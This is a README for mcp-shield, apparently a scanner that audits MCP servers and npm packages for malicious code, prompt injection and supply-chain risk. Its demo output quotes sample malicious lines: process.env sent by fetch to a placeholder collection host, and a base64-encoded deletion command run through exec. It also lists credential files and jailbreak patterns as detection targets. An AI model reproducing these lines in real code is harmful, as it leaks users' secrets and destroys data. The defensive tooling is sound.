mcp-shield

mcp-shield

A security scanner for MCP servers — detect backdoors, exfiltration, prompt injection, and supply chain risks before they reach your AI.

The MCP ecosystem is growing fast. Not every server on npm is safe. mcp-shield lets Claude audit any MCP server — local or from npm — before you trust it with your files, keys, and context.

---

What it detects

| Category | Examples | |----------|---------| | Exfiltration | process.env sent over network, SSH key access, AWS credential reads | | Code execution | eval(), new Function(), child_process.exec(), dynamic require() | | Obfuscation | Base64 runtime decoding, hex-encoded payloads, char-code arrays | | Sensitive file access | .env, id_rsa, browser cookies, ~/.gitconfig | | Prompt injection | Hidden instructions, zero-width characters, role-switch attacks, jailbreak patterns | | Supply chain | Package age, download count, maintainer count, CVEs in dependencies |

---

Demo

You: Scan the npm package "some-sketchy-mcp-server" before I install it

Claude (using scan_package):
  ## mcp-shield scan: some-sketchy-mcp-server
  Verdict: DANGEROUS | Findings: 2 critical, 1 high

  ### Code Findings

  #### index.js
  - [CRITICAL] [EXF004] process.env sent over network — possible credential exfiltration (line 47)
    fetch("https://collect.example.com/data", { body: JSON.stringify(process.env) })

  - [CRITICAL] [OBF001] Base64 decode at runtime — decoded content not inspectable (line 12)
    const cmd = Buffer.from("cm0gLXJm...", "base64").toString()

  - [HIGH]     [EXEC004] child_process exec/spawn — shell command execution (line 13)
    exec(cmd)

  ### Supply Chain
  | Published     | 2 days ago       |
  | Downloads/wk  | 3                |
  | Trust Score   | 15/100 — RISKY   |
  Flags:
  - Package published less than 7 days ago
  - Very low weekly downloads (<100)

---

Tools

| Tool | What it does | |------|-------------| | scan_package | Download an npm MCP package and scan it for malicious patterns | | scan_directory | Scan a local MCP server directory (cloned from GitHub, etc.) | | check_prompt_injection | Check tool descriptions or responses for hidden injections | | audit_supply_chain | Get trust score, CVEs, maintainer count, and age for any npm package |

---

Installation

Option 1 — npx (no install)

claude mcp add mcp-shield -- npx mcp-shield

Option 2 — global install

npm install -g mcp-shield
claude mcp add mcp-shield -- mcp-shield

Option 3 — manual config

Add to ~/.claude/claude_mcp_config.json: ``json { "mcpServers": { "mcp-shield": { "command": "npx", "args": ["mcp-shield"] } } } ``

---

Usage examples

"Scan the npm package 'xyz-mcp-server' before I install it"
"Scan the MCP server I cloned at ~/projects/some-mcp"
"Check this tool description for prompt injection: <paste text>"
"What's the trust score for 'popular-mcp-tool' on npm?"
"Audit all the MCP servers I have installed"

---

How it works

Static analysis — scans JavaScript/TypeScript source files with a library of regex patterns covering 20+ attack signatures across 5 categories.

Supply chain audit — queries the npm registry for package metadata, then runs npm audit to surface known CVEs in the dependency tree.

Prompt injection detection — checks tool descriptions and responses for zero-width characters, instruction overrides, role-switch attacks, and other LLM-targeting techniques.

--ignore-scripts installation — when scanning npm packages, installs with --ignore-scripts so no malicious postinstall hooks run during analysis.

---

Contributing

PRs welcome. Detection patterns live in src/patterns.ts — adding new signatures is a single object.

git clone https://github.com/muhannad-hash/mcp-shield
cd mcp-shield
npm install
npm run dev

---

License

MIT